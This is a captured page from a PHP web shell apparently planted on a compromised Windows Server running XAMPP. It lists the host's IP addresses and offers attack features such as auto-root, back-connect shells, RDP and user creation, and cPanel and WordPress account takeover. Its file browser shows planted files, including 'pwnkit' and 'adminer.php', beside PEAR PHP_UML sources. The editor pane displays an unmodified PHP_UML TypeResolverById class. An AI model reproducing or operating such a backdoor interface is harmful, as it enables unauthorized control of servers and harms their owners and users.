Windows NT IZOXMIX7871CBCZ 6.3 build 9600 (Windows Server 2012 R2 Datacenter Edition) AMD64
Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
: 172.23.17.241 | : 216.73.216.139
Cant Read [ /etc/named.conf ]
8.2.12
Administrator
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
[ C ]
C: /
xampp /
php /
pear /
PHP /
UML /
Metamodel /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-rw-rw-
Artifact.php
715
B
-rw-rw-rw-
Class.php
682
B
-rw-rw-rw-
Classifier.php
847
B
-rw-rw-rw-
Datatype.php
639
B
-rw-rw-rw-
Enumeration.php
995
B
-rw-rw-rw-
Helper.php
7.66
KB
-rw-rw-rw-
Interface.php
559
B
-rw-rw-rw-
NamedElement.php
1.38
KB
-rw-rw-rw-
Operation.php
733
B
-rw-rw-rw-
Package.php
733
B
-rw-rw-rw-
Parameter.php
628
B
-rw-rw-rw-
Property.php
715
B
-rw-rw-rw-
Stereotype.php
877
B
-rw-rw-rw-
Superstructure.php
10.23
KB
-rw-rw-rw-
Tag.php
571
B
-rw-rw-rw-
Type.php
564
B
-rw-rw-rw-
TypeResolver.php
3.26
KB
-rw-rw-rw-
TypeResolverById.php
5.12
KB
-rw-rw-rw-
TypeResolverByName.php
5.43
KB
-rw-rw-rw-
TypedElement.php
582
B
-rw-rw-rw-
adminer.php
465.43
KB
-rw-rw-rw-
pwnkit
10.99
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TypeResolverById.php
<?php /** * PHP_UML * * PHP version 5 * * @category PHP * @package PHP_UML * @subpackage Metamodel * @author Baptiste Autin <ohlesbeauxjours@yahoo.fr> * @license http://www.gnu.org/licenses/lgpl.html LGPL License 3 * @version SVN: $Revision: 175 $ * @link http://pear.php.net/package/PHP_UML * @link http://www.omg.org/mof/ * @since $Date: 2011-09-15 17:07:58 +0200 (jeu., 15 sept. 2011) $ * */ /** * An implementation of TypeResolver that complete the relationships between the * elements of a superstructure on the base of the elements ID. * * @category PHP * @package PHP_UML * @subpackage Metamodel * @author Baptiste Autin <ohlesbeauxjours@yahoo.fr> * @license http://www.gnu.org/licenses/lgpl.html LGPL License 3 */ class PHP_UML_Metamodel_TypeResolverById extends PHP_UML_Metamodel_TypeResolver { public function resolve(PHP_UML_Metamodel_Package &$ns, array $default) { $this->topPackage = $ns; $this->defaultRepo = $default; $this->resolvePackage($ns); } /** * Recursively replaces all the "named types" by a proper "reference" to a * typed element. This impacts: * - the extended classes and implemented classes (through their * EMOF-"superClass" and "implements" relations) * - the function parameters (through their EMOF-"type" attribute) * - the properties in classes (through their EMOF-"type" attribute) * * @param PHP_UML_Metamodel_Package &$ns Package to resolve the elements of */ private function resolvePackage(PHP_UML_Metamodel_Package &$ns) { if (!is_null($ns->nestedPackage)) { foreach ($ns->nestedPackage as $key => &$pkg) { $this->resolvePackage($pkg); } } if (!is_null($ns->ownedType)) foreach ($ns->ownedType as &$elt) { if (isset($elt->superClass) && !is_null($elt->superClass)) { foreach ($elt->superClass as &$className) { $this->resolveType($ns, $className, $elt); } } if (isset($elt->implements) && !is_null($elt->implements)) { foreach ($elt->implements as &$className) { $this->resolveType($ns, $className, $elt); } } if (isset($elt->ownedOperation)) { foreach ($elt->ownedOperation as &$function) { foreach ($function->ownedParameter as &$parameter) { $this->resolveType($ns, $parameter->type, $elt); } } } if (isset($elt->ownedAttribute)) { foreach ($elt->ownedAttribute as &$attribute) { $this->resolveType($ns, $attribute->type, $elt); } } } if (isset($ns->ownedOperation)) { foreach ($ns->ownedOperation as &$function) { foreach ($function->ownedParameter as &$parameter) { $this->resolveType($ns, $parameter->type, $function); } } } if (isset($ns->ownedAttribute)) { foreach ($ns->ownedAttribute as &$attribute) { $this->resolveType($ns, $attribute->type, $attribute); } } } /** * Does the type resolution for a given element in a given package * * @param PHP_UML_Metamodel_Package $pkg The nesting package * @param string &$element The element to resolve, provided as a name * @param PHP_UML_Metamodel_Type $context The context (the nesting class/interface, which * is the only element to know the nesting file) */ private function resolveType(PHP_UML_Metamodel_Package $pkg, &$element, PHP_UML_Metamodel_NamedElement $context) { if (empty($element)) { $targetElement = PHP_UML_Metamodel_Helper::searchTypeIntoPackage($this->topPackage, 'mixed'); } else { $targetElement = PHP_UML_Metamodel_Helper::findTypeById($this->topPackage, $element); } if ($targetElement === false) $targetElement = $this->resolveTypeByUri($element); if ($targetElement === false) { self::resolutionWarning($element, $context); } else { $element = $targetElement; } } /** * Resolve a URI type reference by grasping a type name in the URI itself * (eg. href="http://schema.omg.org/spec/UML/2.1/uml.xml#Integer") * * @param string $uri URI to resolve */ private function resolveTypeByUri($uri) { if (self::isNsUri($uri)) { foreach ($this->defaultRepo as $itemPkg) { foreach ($itemPkg->ownedType as $item) { if (stripos($uri, $item->name) !== false) { return $item; } } } } return false; } private static function isNsUri($text) { return (strncasecmp($text, 'http://', 7) == 0); } } ?>
Close